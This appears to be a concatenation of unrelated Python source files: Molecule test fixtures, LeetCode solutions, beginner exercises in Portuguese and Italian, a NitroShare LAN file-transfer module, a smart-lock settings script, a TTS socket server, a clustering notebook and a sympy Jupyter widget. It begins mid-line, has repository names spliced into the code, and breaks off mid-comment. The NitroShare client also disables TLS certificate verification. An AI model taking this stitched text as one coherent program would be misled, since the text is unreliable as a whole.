admin_required(f): return permission_required(Permission.ADMINISTER)(f) ryanvmenezes/django-calaccess-processed-data1-10 #!/usr/bin/env python # -*- coding: utf-8 -*- """ Models for storing data from Campaign Disclosure Statements (Form 461). """ from .filing import Form461Filing, Form461FilingVersion from .part5 import ( Form461Part5Item, Form461Part5ItemVersion ) __all__ = ( "Form461Filing", "Form461FilingVersion", "Form461Part5Item", "Form461Part5ItemVersion" ) # Faça um programa que tenha uma lista chamada números e duas # funções chamadas sorteia() e somaPar(). A primeira função vai # sortear 5 números e vai colocá-los dentro da lista e a segunda # função vai mostrar a soma entre todos os valores PARES sorteados # pela função anterior. from random import randint from time import sleep def sorteia(lista): print('Sorteando 5 valores da lista: ', end='') for i in range(0, 5): num = randint(1, 10) lista.append(num) print(f'{num} ', end='', flush=True) sleep(0.3) print('Pronto!') def somapar(lista): soma = 0 for v in lista: if v % 2 == 0: soma += v print(f'A soma dos valores pares é igual a {soma}.') numeros = list() sorteia(numeros) somapar(numeros) import copy import functools import os import shutil from uuid import uuid4 import pytest from molecule import config, util try: from pathlib import Path except ImportError: from pathlib2 import Path @pytest.helpers.register def write_molecule_file(filename, data): util.write_file(filename, util.safe_dump(data)) @pytest.helpers.register def os_split(s): rest, tail = os.path.split(s) if rest in ("", os.path.sep): return (tail,) return os_split(rest) + (tail,) @pytest.fixture def _molecule_dependency_galaxy_section_data(): return {"dependency": {"name": "galaxy"}} @pytest.fixture def _molecule_driver_section_data(): return {"driver": {"name": "hetznercloud", "options": {"managed": True}}} @pytest.fixture def _molecule_platforms_section_data(): return { "platforms": [ {"name": "instance-1", "groups": ["foo", "bar"], "children": ["child1"]}, {"name": "instance-2", "groups": ["baz", "foo"], "children": ["child2"]}, ] } @pytest.fixture def _molecule_provisioner_section_data(): return { "provisioner": { "name": "ansible", "options": {"become": True}, "lint": {"name": "ansible-lint"}, "config_options": {}, } } @pytest.fixture def _molecule_scenario_section_data(): return {"scenario": {"name": "default"}} @pytest.fixture def _molecule_verifier_section_data(): return {"verifier": {"name": "testinfra", "lint": {"name": "flake8"}}} @pytest.fixture def molecule_data( _molecule_dependency_galaxy_section_data, _molecule_driver_section_data, _molecule_platforms_section_data, _molecule_provisioner_section_data, _molecule_scenario_section_data, _molecule_verifier_section_data, ): fixtures = [ _molecule_dependency_galaxy_section_data, _molecule_driver_section_data, _molecule_platforms_section_data, _molecule_provisioner_section_data, _molecule_scenario_section_data, _molecule_verifier_section_data, ] return functools.reduce(lambda x, y: util.merge_dicts(x, y), fixtures) @pytest.fixture def molecule_directory_fixture(temp_dir): return pytest.helpers.molecule_directory() @pytest.fixture def molecule_scenario_directory_fixture(molecule_directory_fixture): path = pytest.helpers.molecule_scenario_directory() if not os.path.isdir(path): os.makedirs(path) return path @pytest.fixture def molecule_ephemeral_directory_fixture(molecule_scenario_directory_fixture): path = pytest.helpers.molecule_ephemeral_directory(str(uuid4())) if not os.path.isdir(path): os.makedirs(path) yield shutil.rmtree(str(Path(path).parent)) @pytest.fixture def molecule_file_fixture( molecule_scenario_directory_fixture, molecule_ephemeral_directory_fixture ): return pytest.helpers.molecule_file() @pytest.fixture def config_instance(molecule_file_fixture, molecule_data, request): mdc = copy.deepcopy(molecule_data) if hasattr(request, "param"): util.merge_dicts(mdc, request.getfixturevalue(request.param)) pytest.helpers.write_molecule_file(molecule_file_fixture, mdc) c = config.Config(molecule_file_fixture) c.command_args = {"subcommand": "test"} return c # Mocks @pytest.fixture def patched_print_debug(mocker): return mocker.patch("molecule.util.print_debug") @pytest.fixture def patched_logger_info(mocker): return mocker.patch("logging.Logger.info") @pytest.fixture def patched_logger_out(mocker): return mocker.patch("molecule.logger.CustomLogger.out") @pytest.fixture def patched_logger_warn(mocker): return mocker.patch("logging.Logger.warn") @pytest.fixture def patched_logger_error(mocker): return mocker.patch("logging.Logger.error") @pytest.fixture def patched_logger_critical(mocker): return mocker.patch("logging.Logger.critical") @pytest.fixture def patched_logger_success(mocker): return mocker.patch("molecule.logger.CustomLogger.success") @pytest.fixture def patched_run_command(mocker): m = mocker.patch("molecule.util.run_command") m.return_value = mocker.Mock(stdout=b"patched-run-command-stdout") return m @pytest.fixture def patched_ansible_converge(mocker): m = mocker.patch("molecule.provisioner.ansible.Ansible.converge") m.return_value = "patched-ansible-converge-stdout" return m @pytest.fixture def patched_add_or_update_vars(mocker): return mocker.patch("molecule.provisioner.ansible.Ansible._add_or_update_vars") @pytest.fixture def patched_yamllint(mocker): return mocker.patch("molecule.lint.yamllint.Yamllint.execute") @pytest.fixture def patched_flake8(mocker): return mocker.patch("molecule.verifier.lint.flake8.Flake8.execute") @pytest.fixture def patched_ansible_galaxy(mocker): return mocker.patch("molecule.dependency.ansible_galaxy.AnsibleGalaxy.execute") @pytest.fixture def patched_testinfra(mocker): return mocker.patch("molecule.verifier.testinfra.Testinfra.execute") @pytest.fixture def patched_scenario_setup(mocker): mocker.patch("molecule.config.Config.env") return mocker.patch("molecule.scenario.Scenario._setup") @pytest.fixture def patched_config_validate(mocker): return mocker.patch("molecule.config.Config._validate") iterazione_2.py # How to create a class: class Item: all_items = [] pay_rate = 0.8 def __init__(self, name:str, price:float, quantity=0): #Check price and quantity assert price >=0, f"Price {price} is too low!" assert quantity >=0, f"Quantity {quantity} is too low!" #Nota, in alternativa, si possono usare le exceptions #if price < 0: # raise ValueError(f"Price {price} is not greater than or equal to zero!") #if quantity < 0: # raise ValueError(f"Quantity {quantity} is not greater than or equal to zero!") self.name = name self.price = price self.quantity = quantity Item.all_items.append(self) def __repr__(self): return f"\nItem:('Product:{self.name}, Price:{self.price}, Quantity:{self.quantity}')" def apply_discount(self, price): return price * self.pay_rate def calculate_total_price(self): return self.apply_discount(self.price) * self.quantity # How to create an instance of a class item1 = Item("Phone", 100, 1) item2 = Item("Laptop", 1000, 3) item3 = Item("Cable", 10, 5) item4 = Item("Mouse", 50, 5) item5 = Item("Keyboard", 74.90, 5) # Calling methods from instances of a class: print(f"Prezzo totale: {item1.calculate_total_price()}€") print(f"Prezzo totale: {item2.calculate_total_price()}€") print(f"Prezzo totale: {item3.calculate_total_price()}€") print(f"Prezzo totale: {item4.calculate_total_price()}€") print(f"Prezzo totale: {item5.calculate_total_price()}€") print(Item.all_items)KartikKannapur/Data_Structures_and_Algorithms_Python """ Starting with a positive integer N, we reorder the digits in any order (including the original order) such that the leading digit is not zero. Return true if and only if we can do this in a way such that the resulting number is a power of 2. Example 1: Input: 1 Output: true Example 2: Input: 10 Output: false Example 3: Input: 16 Output: true Example 4: Input: 24 Output: false Example 5: Input: 46 Output: true """ class Solution(object): def reorderedPowerOf2(self, N): """ :type N: int :rtype: bool """ """ Algorithm * Find the number of digits in N * Generete numbers that are powers of 2, such that the number of digits in each of those numbers is less than or equal to the number of digits in N * For each number in the above step, store the digits in the sorted order - set() * Sort the input digits as a string and check if it occurs in the set Improvement: * Rather than using extra space, compare with sorted value of N at each iteration * Rather than computing the length of the str and using the while loop to compare each time, the str computation can be saved by using a for loop: 1 to 2^30 i.e. 2^0 -> 2^30 Time Complexity: ?? Space Complexity: O(k) - Space required for the set i = i<<1 is the same as i = i*2 Your runtime beats 92.57 % of python submissions. """ # #Sorted digits of N sorted_str_N = sorted(str(N)) # #Generate powers of 2 for i in range(0, 30): if sorted(str(2 ** i)) == sorted_str_N: return True return False ndrop/nitroshare.py import sys import datetime import time import logging import os.path import threading import socket import socketserver import struct import ssl import platform import uuid import json from .transport import Transport, get_broadcast_address, CHUNK_SIZE, set_chunk_size from .about import get_system_symbol logger = logging.getLogger(__name__) DEFAULT_UDP_PORT = 40816 DEFAULT_TCP_PORT = 40818 STATUS = { 'idle': 0, 'header': 1, 'data': 2, } class Packet(): _status = STATUS['idle'] _record = 0 _recv_record = 0 _total_size = 0 _total_recv_size = 0 _filename = None _filesize = 0 _recv_file_size = 0 def pack_hello(self, node, dest): hello_node = {} hello_node['uuid'] = node['uuid'] hello_node['name'] = node['name'] hello_node['operating_system'] = node['operating_system'] hello_node['port'] = node['port'] hello_node['uses_tls'] = node['uses_tls'] return json.dumps(node).encode('utf-8') def unpack_udp(self, agent, data, client_address): node = json.loads(data.decode('utf-8')) if node['uuid'] != agent._node['uuid']: # no me if client_address[0] in agent._nodes: agent.update_node(client_address[0], node) else: agent.say_hello((client_address[0], agent._udp_port)) agent.add_node(client_address[0], node) def pack_success(self): data = bytearray() data.extend(int(1).to_bytes(4, byteorder='little', signed=True)) data.append(0x00) return data def pack_error(self, message): buff = message.encode('utf-8') data = bytearray() data.extend((len(buff) + 1).to_bytes(4, byteorder='little', signed=True)) data.append(0x01) data.extend(buff) return data def pack_files_header(self, name, total_size, count): """transfer header""" jdata = {} jdata['name'] = name jdata['size'] = '%s' % total_size jdata['count'] = '%s' % count bdata = json.dumps(jdata).encode('utf-8') data = bytearray() data.extend((len(bdata) + 1).to_bytes(4, byteorder='little', signed=True)) data.append(0x02) data.extend(bdata) return data def pack_files(self, agent, total_size, files): data = bytearray() total_send_size = 0 transfer_abort = False for path, name, size in files: # file header jdata = {} jdata['name'] = name if size == -1: jdata['directory'] = True else: jdata['directory'] = False jdata['size'] = '%s' % size jdata['created'] = '' jdata['last_modified'] = '' jdata['last_read'] = '' bdata = json.dumps(jdata).encode('utf-8') # packet format # L B B * (size - 1) # size tag data data.extend((len(bdata) + 1).to_bytes(4, byteorder='little', signed=True)) data.append(0x02) data.extend(bdata) if len(data) >= CHUNK_SIZE: yield data[:CHUNK_SIZE] del data[:CHUNK_SIZE] send_size = 0 if size < 0: # directory agent.send_feed_file( name, None, send_size, -1, total_send_size, total_size, ) elif size == 0: agent.send_feed_file( name, b'', send_size, 0, total_send_size, total_size, ) else: file_changed = False with open(path, 'rb') as f: while not file_changed: chunk = f.read(CHUNK_SIZE - len(data)) if not chunk: if (len(data) + 128) >= CHUNK_SIZE: yield data[:CHUNK_SIZE] del data[:CHUNK_SIZE] break if (send_size + len(chunk)) > size: file_changed = True # correct size chunk = chunk[:size - send_size] logger.error('File Changed: [%s] %s => %s.' % (name, size, send_size)) cont = input('Drop data and continue? [Yes/No]') if cont != 'Yes': transfer_abort = True # binary header, every binary packet is less than CHUNK_SIZE data.extend((len(chunk) + 1).to_bytes(4, byteorder='little', signed=True)) data.append(0x03) send_size += len(chunk) total_send_size += len(chunk) agent.send_feed_file( name, chunk, send_size, size, total_send_size, total_size, ) data.extend(chunk) # send if packet_size more than chunk_size if len(data) >= CHUNK_SIZE: yield data[:CHUNK_SIZE] del data[:CHUNK_SIZE] agent.send_finish_file(name) if transfer_abort: break if len(data) > 0: yield data data.clear() if transfer_abort: sys.exit('Transfer Abort!!!') def unpack_tcp(self, agent, data, from_addr): while len(data) > 0: if self._status == STATUS['idle']: # transfer header if len(data) < 5: return size, typ = struct.unpack(' (len(data) - 4): return del data[:5] size -= 1 if size == 0 and typ == 0x00: return elif size > 0 and typ == 0x01: message = data[:size].decode('utf-8') del data[:size] logger.info('Error: %s' % message) return elif typ == 0x02: # json, transfer header jdata = json.loads(data[:size]) del data[:size] if 'count' not in jdata: raise ValueError('Error: %s' % jdata) self._total_size = int(jdata['size']) self._record = int(jdata['count']) self._status = STATUS['header'] elif self._status == STATUS['header']: # json, file header if len(data) < 5: return size, typ = struct.unpack(' (len(data) - 4): return del data[:5] size -= 1 if typ == 0x02: # json jdata = json.loads(data[:size]) del data[:size] if 'directory' not in jdata: # file header raise ValueError('Error: %s' % jdata) self._recv_file_size = 0 self._filename = jdata['name'] if jdata['directory']: # directory self._filesize = -1 else: self._filesize = int(jdata['size']) if self._filesize > 0: self._status = STATUS['data'] else: if self._filesize < 0: chunk = None else: chunk = b'' self._recv_record += 1 agent.recv_feed_file( self._filename, chunk, self._recv_file_size, self._filesize, self._total_recv_size, self._total_size, from_addr, ) agent.recv_finish_file(self._filename, from_addr) if self._record == self._recv_record and \ self._total_recv_size == self._total_size: self._status = STATUS['idle'] return True else: self._status = STATUS['header'] else: raise ValueError('Error Type: %s' % typ) elif self._status == STATUS['data']: if len(data) < 5: return size, typ = struct.unpack(' (len(data) - 4): # wait for more packet data return data_size = size - 1 if typ == 0x03: # data self._recv_file_size += data_size self._total_recv_size += data_size agent.recv_feed_file( self._filename, data[5:5 + data_size], self._recv_file_size, self._filesize, self._total_recv_size, self._total_size, from_addr, ) del data[:5 + data_size] if self._recv_file_size == self._filesize: self._status = STATUS['header'] self._recv_record += 1 agent.recv_finish_file(self._filename, from_addr) if self._record == self._recv_record and \ self._total_recv_size == self._total_size: self._status = STATUS['idle'] return True else: raise ValueError('Error Type: %s' % typ) class UDPHandler(socketserver.BaseRequestHandler): def setup(self): self._packet = Packet() def handle(self): if self.client_address[0] not in self.server.agent._ip_addrs: data = bytearray(self.request[0]) self._packet.unpack_udp(self.server.agent, data, self.client_address) class TCPHandler(socketserver.BaseRequestHandler): def setup(self): self._recv_buff = bytearray() self._packet = Packet() self.request.settimeout(20) def handle(self): logger.info('[NitroShare] connect from %s:%s' % self.client_address) err = '' ret = None while True: try: data = self.request.recv(CHUNK_SIZE) if not data: err = 'abort' break self._recv_buff.extend(data) ret = self._packet.unpack_tcp(self.server.agent, self._recv_buff, self.client_address) except Exception as e: err = e logger.error('%s' % err) break if ret: data = self._packet.pack_success() self.request.sendall(data) err = 'done' break if err == 'abort': self.server.agent.recv_finish_file(self._packet._filename, self.client_address) self.server.agent.recv_finish(self.client_address, err) def finish(self): pass class NitroshareServer(Transport): _name = 'NitroShare' _cert = None _key = None _upper_level = None _tcp_server = None _udp_server = None _tcp_port = DEFAULT_TCP_PORT _udp_port = DEFAULT_UDP_PORT _unicast_sock = None _broadcast_sock = None _ip_addrs = None _broadcasts = None _packet = None _data = None _nodes = None _loop_hello = True _hello_interval = 2 def __init__(self, upper_level, addr, ssl_ck=None): if ssl_ck: self._cert, self._key = ssl_ck self._upper_level = upper_level self._data = bytearray() addr = addr.split(':') ip = addr.pop(0) if len(addr) > 0: self._tcp_port = int(addr.pop(0)) if len(addr) > 0: self._udp_port = int(addr.pop(0)) self._packet = Packet() uname = platform.uname() data = {} data['uuid'] = '%s' % uuid.uuid1() data['name'] = uname.node data['operating_system'] = uname.system.lower() data['port'] = '%s' % self._tcp_port data['uses_tls'] = bool(self._cert) and bool(self._key) self._node = data self._nodes = {} self._udp_server = socketserver.UDPServer((ip, self._udp_port), UDPHandler) self._udp_server.agent = self self._tcp_server = socketserver.TCPServer((ip, self._tcp_port), TCPHandler) if self._cert and self._key: self._ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) self._ssl_context.load_cert_chain(self._cert, keyfile=self._key) self._tcp_server.socket = self._ssl_context.wrap_socket( self._tcp_server.socket, server_side=True) self._tcp_server.agent = self set_chunk_size() self._unicast_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._broadcast_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._broadcast_sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) self._ip_addrs, self._broadcasts = get_broadcast_address(ip) def wait_for_request(self): threading.Thread( name='nitroshare server', target=self._udp_server.serve_forever, daemon=True, ).start() threading.Thread( name='nitroshare hello', target=self.loop_say_hello, daemon=True, ).start() if self._tcp_server.server_address[0] == '0.0.0.0': logger.info('[NitroShare] listen on %s:%s(tcp):%s(udp) - bind on %s' % ( self._tcp_server.server_address[0], self._tcp_server.server_address[1], self._udp_server.server_address[1], ', '.join(self._ip_addrs), )) else: logger.info('[NitroShare] listen on %s:%s(tcp):%s(udp)' % ( self._tcp_server.server_address[0], self._tcp_server.server_address[1], self._udp_server.server_address[1], )) def handle_request(self): self._tcp_server.handle_request() def quit_request(self): self._loop_hello = False self._udp_server.shutdown() def fileno(self): return self._tcp_server.fileno() def recv_feed_file(self, path, data, recv_size, file_size, total_recv_size, total_size, from_addr): self._upper_level.recv_feed_file( path, data, recv_size, file_size, total_recv_size, total_size, from_addr) def recv_finish_file(self, path, from_addr): self._upper_level.recv_finish_file(path, from_addr) def recv_finish(self, from_addr, err): self._upper_level.recv_finish(from_addr, err) def send_broadcast(self, data, port): try: for broadcast in self._broadcasts: num = self._broadcast_sock.sendto(data, (broadcast, port)) assert num == len(data), (broadcast, port, num, len(data)) except (OSError, socket.herror, socket.gaierror, socket.timeout) as err: if err.errno == 101 or err.errno == 10051: # Network is unreachable pass else: logger.error('[NitroShare] send broadcast to "%s:%s" error: %s' % (broadcast, port, err)) def say_hello(self, dest): data = self._packet.pack_hello(self._node, dest) if dest[0] == '': self.send_broadcast(data, dest[1]) else: try: self._unicast_sock.sendto(data, dest) except Exception as err: logger.error('[NitroShare]send to "%s" error: %s' % (dest, err)) def loop_say_hello(self): while self._loop_hello: self.say_hello(('', self._udp_port)) self.check_node() time.sleep(self._hello_interval) def add_node(self, ip, node): if ip not in self._nodes: self._nodes[ip] = {} self._nodes[ip].update(node) self._nodes[ip]['ip'] = ip self._nodes[ip]['last_ping'] = datetime.datetime.now() self._nodes[ip]['user'] = self._name self._nodes[ip]['mode'] = self._name self._nodes[ip]['long_name'] = self.format_node(self._nodes[ip]) self._nodes[ip]['type'] = 'guest' self._upper_level.add_node(self._nodes[ip]) def update_node(self, ip, node): now = datetime.datetime.now() assert ip in self._nodes self._nodes[ip]['last_ping'] = now def check_node(self): now = datetime.datetime.now() timeout_nodes = [] timeout = 10 for ip, node in self._nodes.items(): last_valid_time = now - datetime.timedelta(seconds=(self._hello_interval + timeout)) if last_valid_time > node['last_ping']: timeout_nodes.append(ip) for ip in timeout_nodes: self.remove_node(ip) def remove_node(self, ip): if ip in self._nodes: self._upper_level.remove_node(self._nodes[ip]) del self._nodes[ip] def get_signature(self, node=None): node = node or self._node signature = '%(name)s (%(operating_system)s)' % node return signature def format_node(self, node=None): node = node or self._node return '%s@%s(%s)' % (self._name, node['name'], get_system_symbol(node['operating_system'])) class NitroshareClient(Transport): _cert = None _key = None _upper_level = None _packet = None _timeout = 5 def __init__(self, upper_level, addr, ssl_ck=None): if ssl_ck: self._cert, self._key = ssl_ck self._upper_level = upper_level addr = addr.split(':') ip = addr.pop(0) if len(addr) > 0: tcp_port = int(addr.pop(0)) else: tcp_port = DEFAULT_TCP_PORT self._address = (ip, tcp_port) self._packet = Packet() set_chunk_size() def send_files(self, total_size, files): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self._cert and self._key: ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ssl_context.check_hostname = False ssl_context.verify_mode = ssl.CERT_NONE sock = ssl_context.wrap_socket(sock, server_side=False) uname = platform.uname() sock.settimeout(self._timeout) err = 'done' try: header = self._packet.pack_files_header(uname.node, total_size, len(files)) sock.connect(self._address) sock.sendall(header) for chunk in self._packet.pack_files(self, total_size, files): sock.sendall(chunk) # receive feedback message data = bytearray() while True: chunk = sock.recv(CHUNK_SIZE) if not chunk: break data.extend(chunk) self._packet.unpack_tcp(self, data, self._address) except KeyboardInterrupt: pass except socket.timeout as e: err = e logger.error(err) except Exception as e: err = e logger.error(err) sock.close() self.send_finish(err) def send_feed_file(self, path, data, send_size, file_size, total_send_size, total_size): self._upper_level.send_feed_file(path, data, send_size, file_size, total_send_size, total_size) def send_finish_file(self, path): self._upper_level.send_finish_file(path) def send_finish(self, err): self._upper_level.send_finish(err) # Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution(object): def postorderTraversal(self, root): """ :type root: TreeNode :rtype: List[int] """ stack = [root] out = [] while stack: p = stack.pop() if p: out.insert(0, p.val) stack.append(p.left) stack.append(p.right) return out import json import time import subprocess import sys MAC_ARG = "VIDE" ACTION_ARG = "VIDE" ADD_ARG = "VIDE" MDP_ARG = "VIDE" DEST_ARG = "VIDE" MDP_SERR_ARG = "VIDE" def mdp_serrure(): global MAC_ARG global MDP_SERR_ARG with open('/home/Devismes_Bridge/Equipements/' + MAC_ARG + '/Pass.json') as f: dataa = json.load(f) dataa['Password']['Pass'] = MDP_SERR_ARG with open('/home/Devismes_Bridge/Equipements/' + MAC_ARG + '/Pass.json', 'w') as f: json.dump(dataa, f, indent=2) def mail_dest(): global DEST_ARG with open('/home/Devismes_Bridge/JSON_List/mail.json') as f: dataa = json.load(f) print "OK: ", DEST_ARG dataa['mail']['Dest'] = DEST_ARG with open('/home/Devismes_Bridge/JSON_List/mail.json', 'w') as f: json.dump(dataa, f, indent=2) def mail_origine(): #base SQL !!!! global ADD_ARG global MDP_ARG with open('/home/Devismes_Bridge/JSON_List/mail.json') as f: dataa = json.load(f) dataa['mail']['adresse'] = ADD_ARG with open('/home/Devismes_Bridge/JSON_List/mail.json', 'w') as f: json.dump(dataa, f, indent=2) def Arguments(): global MAC_ARG global ADD_ARG global MDP_ARG global DEST_ARG global MDP_SERR_ARG print "Arguments: ", sys.argv print "NB d'arguments: ", len(sys.argv) if (len(sys.argv) == 4) and (sys.argv[1] == '1'): #on modifie le mot de passe de la serrure selectionnee print "modifie mot de passe serrure" MAC_ARG = sys.argv[2] MDP_SERR_ARG = sys.argv[3] mdp_serrure() if (len(sys.argv) == 3) and (sys.argv[1] == '2'): #on modifie le mail de destination print "modifie mail destination" DEST_ARG = sys.argv[2] mail_dest() if (len(sys.argv) == 3) and (sys.argv[1] == '3'): #on modifie le mail d'origine et mot de passe print "modifie mail d'origine et mot de passe" ADD_ARG = sys.argv[2] mail_origine() def main(): print "MAIN" Arguments() if __name__ == "__main__": main() import os import socket import re from synthesizer import Synthesizer from utils.generic_utils import load_config app_path = os.path.dirname(os.path.abspath("__file__")) model_path = os.path.join(app_path, "checkpoint/") server_path = os.path.join(app_path, "server/") config = load_config(os.path.join(server_path, "conf.json")) synthesizer = Synthesizer() synthesizer.load_model(model_path, config.model_name, config.model_config, config.use_cuda) """ open socket for TCP connection with Django Docker has a problem with forwarding UDP packet to the right interface """ server_addr = ("", int(os.environ.get("TTS_SERVICE_SERVICE_PORT"))) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(server_addr) sock.listen(5) audio_path = os.path.join(server_path, "audio/") cache = {} for filename in os.listdir(audio_path): cache[filename] = True while True: # establish connection print(f"waiting for connection...") conn, client_addr = sock.accept() # connected try: print(f"connection from {client_addr}") while True: data = conn.recv(int(os.environ.get("BUFFER_SIZE"))) # receiving data if data: try: word, flag = data.decode().split(":") except ValueError: word = data.decode() flag = None print(f"received input: {word} flag: {flag}") # check cache if f"{word}.wav" in cache: print("in cache, ignore") conn.send(str.encode("Exists")) continue # regex pattern to skip special chars if re.findall('[^0-9A-Za-z- ]', word): print(f"special charater(s) detected, ignore") conn.send(str.encode("Special Char Error!")) continue # synthesizing and add to cache synthesizer.tts(word, audio_path+f"{word}.wav") cache[f"{word}.wav"] = True conn.send(str.encode("Added")) # transmission completed else: print(f"Transmission from {client_addr} has finished.") break finally: conn.close() #!/usr/bin/env python # coding: utf-8 # # Hierarchical agglomerative clustering of cases # # Computational notebook 04 for Climate adaptation plans in the context of coastal settlements: the case of Portugal. # # Date: 27/06/2020 # # --- # # This notebooks standardize contextual characters and generates hierarchical clustering using Ward's method. # # The only input required is `summative_data.csv` generated by `03_Calculate_contextual_characters.ipynb`. # In[3]: import matplotlib import matplotlib.pyplot as plt import pandas as pd import sklearn from sklearn import preprocessing import scipy as sp from scipy.cluster import hierarchy # In[19]: sklearn.__version__, sp.__version__, pd.__version__, matplotlib.__version__ # In[5]: path = 'data/summative_data.csv' data = pd.read_csv(path, index_col=0) # In[14]: data # ## Standardize # In[15]: x = data.values scaler = preprocessing.StandardScaler() cols = list(data.columns) data[cols] = scaler.fit_transform(data[cols]) data # In[16]: data.to_csv('data/summative_data_norm.csv') # ## Clustering # In[17]: Z = hierarchy.linkage(data, 'ward') # In[18]: plt.figure(figsize=(10, 25)) dn = hierarchy.dendrogram(Z, labels=data.index, orientation='right', color_threshold=18) #plt.savefig('dendrogram_right.svg') # ## Assing to places # In[ ]: folder = 'data/' parts = ['atlantic', 'preatl', 'premed', 'med'] c_parts = [] geoms = [] for part in parts: path = folder + part + '.gpkg' layers = [x[:-4] for x in fiona.listlayers(path) if 'blg' in x] for l in layers: buildings = gpd.read_file(path, layer=l + '_blg') if 'part' in buildings.columns: for bpart in set(buildings.part): subset = buildings.loc[buildings.part == bpart] geoms.append(subset.geometry.unary_union.centroid) c_parts.append(part) else: geoms.append(buildings.geometry.unary_union.centroid) c_parts.append(part) # In[ ]: gdf = gpd.GeoDataFrame(data, geometry=geoms) gdf['part'] = c_parts # In[ ]: gdf['cl'] = hierarchy.fcluster(Z, 18, criterion='distance') gdf['cl'] = gdf.cl.replace(8, 7) gdf['cl'] = gdf.cl.replace(2, 3) # In[ ]: gdf.reset_index().to_file('data/points.gpkg', driver='GPKG', layer='ward') # 108. Convert Sorted Array to BST # # # # class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right def sortedArrayToBST(self,val): def helper(A, start, end): if start > end: return None elif start == end: return TreeNode(A[start]) else: mid = start + (end - start)//2 subtreeroot = TreeNode(A[mid]) subtreeroot.left = helper(A, start, mid-1) subtreeroot.right = helper(A, mid+1, end) return subtreeroot return helper(val,0, len(val)-1) seignovert/pyvims """Test stereographic projection module.""" import numpy as np from matplotlib.patches import PathPatch from matplotlib.collections import PatchCollection from pyvims.projections.__main__ import GroundProjection from pyvims.planets import Titan from pytest import approx, raises def test_projection(): """Test stereographic projection.""" proj = GroundProjection(lon_w_0=30) assert str(proj) == 'GroundProjection' assert proj.EPSILON == 1e-10 assert proj.lat_0 == 0 assert proj.lon_w_0 == 30 assert proj.lon_0 == -30 assert proj.clat0 == 1 assert proj.slat0 == 0 assert proj.clon0 == approx(np.sqrt(3) / 2) assert proj.slon0 == approx(.5) with raises(NotImplementedError): _ = proj(0, 0) with raises(NotImplementedError): _ = proj(0, 0, invert=True) with raises(ValueError): _ = proj(0, 0, 0, invert=True) def test_projection_radius(): """Test stereographic projection.""" proj = GroundProjection() assert proj.r == 1 # in [m] assert proj.radius == 1e-3 # in [km] proj = GroundProjection(radius=10) assert proj.r == approx(1e4, abs=1e-3) proj = GroundProjection(target='Titan') assert proj.target == 'Titan' assert proj.target == Titan assert proj.radius == Titan.radius assert proj.r == Titan.radius * 1e3 def test_projection_path_patch_collection(): """Test stereographic projection on Path, Patch and Collection.""" proj = GroundProjection() assert proj.xy_path(None) is None _patch = PathPatch(None, facecolor='r', edgecolor='b', alpha=.5) _coll = PatchCollection([_patch]) assert proj(_patch).get_path() is None assert proj(_coll).get_paths()[0] is None sympytools/jupyter.py from ipywidgets import Output, Box, VBox, HBox, Label, Layout, Button from IPython.display import display import clipboard class Navigator: """Navigator allows for selecting sympy subexpressions graphically. """ def __init__(self): # A path is a list of indices for the args tuples of some # sympy expression ([1, 0, 2] => expr.args[1].args[0].args[2] self._current_path = [] self._current_subexpr = None self._widgets = [] self._expr = None def navigate(self, expr): """Open the Jupyter widgets to select a subexpression graphically. Parameters ---------- expr: sympy expression The sympy expression from which to select a subexpression. """ self._expr = expr self._current_subexpr = expr self.show() def show(self): """Build and update the GUI""" for w in self._widgets: w.close() self._widgets = [] label = Label(value='Current selection:') expr_output = Output() with expr_output: display(self._current_subexpr) up_button = Button(description='Go Up') up_button.on_click(self.handle_up) copy_path_button = Button(description='Copy Path') copy_path_button.on_click(self.handle_copy_path) self.msg_output = Output() hbox = HBox([up_button, copy_path_button]) vbox = VBox([label, expr_output, hbox, self.msg_output], layout=Layout(border='solid 2px grey', padding='5px' )) display(vbox) self._widgets.append(vbox) if not self._current_subexpr.args: return label = Label(value='Subexpressions:') rows = [label] for i, arg in enumerate(self._current_subexpr.args): output = Output() with output: display(arg) button = Button(description='Select') button.on_click(self.handle_select) button.iarg = i hbox = HBox([output, button]) rows.append(hbox) box = VBox(rows, layout=Layout(border='dashed 2px grey', padding='5px')) display(box) self._widgets.append(box) def handle_select(self, event): """Event handler for when a "Select" button was clicked""" self._current_path.append(event.iarg) self._current_subexpr = get_by_path(self._expr, self._current_path) self.show() def handle_up(self, event): """Event handler for when the "Go up" button was clicked""" if len(self._current_path) == 0: return self._current_path.pop() self._current_subexpr = get_by_path(self._expr, self._current_path) self.show() def handle_copy_path(self, event): """Event handler for when the "Copy" button was clicked""" clipboard.copy(str(self._current_path)) with self.msg_output: print('Path copied to clipboard') def get_by_path(expr, path): """ Retrieve a subexpression by giving its path Parameters ---------- expr: sympy expression The expression from which to retrieve the subexpression. path: list of ints The indices of the args tuples, see example. Returns ------- sympy expression for given path Examples -------- get_by_path(expr, [1, 0, 3, 1]) is equivalent to expr.args[1].args[0].args[3].args[1] """ subexpr = expr for idx in path: subexpr = subexpr.args[idx] return subexpr tfrecord_tj/tools/__init__.py from tfrecord_tj.tools import tfrecord2idx from tfrecord_tj.tools.tfrecord2idx import create_index import os import json # Global variables path = "./files/" filename = "agenda.json" agenda = {} #dictionary for saving all agenda (contacts, whatever) messages = { "system" : "[ System ]", "warning" : "[ Warning ]", "problem" : "[ Problem ]", "success" : "[ OK ]", "fail" : "[ ERROR ]" } # Load users from JSON into a dictionary def loadUsers(filename): global messages global agenda global path try: fileURL = path + filename data = open(fileURL, 'r'); # try to open JSON file jsonData = json.load(data) # parse json object into python dictionary agenda = jsonData # save agenda object into global variable "agenda" # print messages['system'] + " Contacts loaded" except: agenda['contacts'] = [] # set empty dictionary print messages['warning'] + " Problems... File not exist or BAD FORMAT!" print messages['system'] + " We're creating an empty list\n" def saveUsers(filename): global messages global agenda global path if agenda == None or agenda == {}: # When the agenda is empty or None. We create an empty contacts array # print messages['warning'] + " No object is created.\nWe're going to save and empty object\n" agenda['contacts'] = [] # empty array for contacts json_array = json.dumps(agenda) # Converts agenda dictionary into JSON format. try: # Save agenda into json file. First we check if the folder 